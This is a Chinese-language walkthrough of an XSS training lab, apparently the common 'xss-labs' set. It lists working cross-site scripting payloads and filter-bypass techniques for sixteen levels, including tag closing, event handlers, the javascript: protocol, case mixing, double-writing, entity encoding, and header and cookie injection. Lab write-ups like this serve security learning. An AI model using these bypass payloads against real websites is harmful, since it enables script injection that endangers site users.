第一關
直接在URL輸入
?name=<script>alert('xss')</script>
第二關
找源碼,輸入test,value值變為test,我們可以在輸入框嘗試xss攻擊
閉合前面的input標簽,在插入代碼
payload
"><script>alert('xss')</script>
第三關
依舊輸入test找注入點
輸入"><script>alert('xss')</script>
htmlspecialchars()轉義成HTML實體
但是htmlspecialchars在默認情況下不會轉義單引號,需要設置quotestyle才會進行轉義
我們可以從單引號測試 payload
'onclick='window.alert()
第四關
嘗試輸入<script>alert('xss')</script>
明顯的過濾掉了 < >
這里構造payload繞過 < >
"onclick="window.alert('xss')
第五關
嘗試輸入<script>alert('xss')</script>
將前面的script變成scr_ipt
用其他語句繞過
輸入"onlick="window.alert()
依舊替換 on變成o_n
我們采用JavaScript偽協議
"><a href="javascript:alert('xss')">1</a>
點擊 1 成功繞過
第六關
直接測試了一下,過濾了很多,查看源碼
我們可以采用大小寫混合拼寫繞過
"><img Src=x Onerror=alert(1)>
第七關
測試了一下,script跟on等直接沒了
推測被替換成空,查看源碼
果不其然,替換為空,一般采用雙寫繞過
"><scrscriptipt>alert('xss')</scrscriptipt>
第八關
輸入tes
查看源碼,過濾了很多,雙引號也被過濾掉了
這里我們只要輸入JavaScript:alert(‘xss’)即可
但是script被替換成scr_ipt
我們可以采用編碼的形式繞過
payload
javascript:alert() #HTML實體編碼(HEX) javascript:alert() #HTML實體編碼(DEC)
這是實體編碼 entity code
「&#」開頭的后接十進制數字,「&#x」開頭的后接十六進制數字。
第九關
輸入test測試一下,test出現在value值里面
查看源碼,比之前多了一串,需要添加http://,否則無效
那么就添加http://
/*這是是注釋*/
構造payload
javascript:alert()/*http://www.test.com*/
第十關
分析源碼,keyword跟t_sort兩個可以進行get傳值,同時t_sort過濾掉了<>,並且t_sort隱藏了
構造payload
?t_sort="onclick="alert()"type="text"
?t_sort=" onclick="alert()" type="text"
第十一關
可以用HTTP頭的referer進行注入,這里我們需要burpsuite抓包
payload
t_sort="type="text" onclick="alert(1)
第十二關
這里是HTTP頭中的Uuser-agent進行注入
構造payload
"type="text" onclick="alert(1)
在User-Agent后面跟隨payload即可
第十三關
cookie注入
user=" type="text" onclick="alert(1)"
第十四關
PASS
第十五關
ng-include 指令用於包含外部的 HTML 文件
ng-include
屬性的值可以是一個表達式,返回一個文件名。
payload
http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
第十六關
轉義成HTML實體,黑名單容易忽略過濾的字符
payload
?keyword=<img%0asrc=1%0aonerror=alert()>
%0a %0b %0c %0d (回車換行) 空格繞過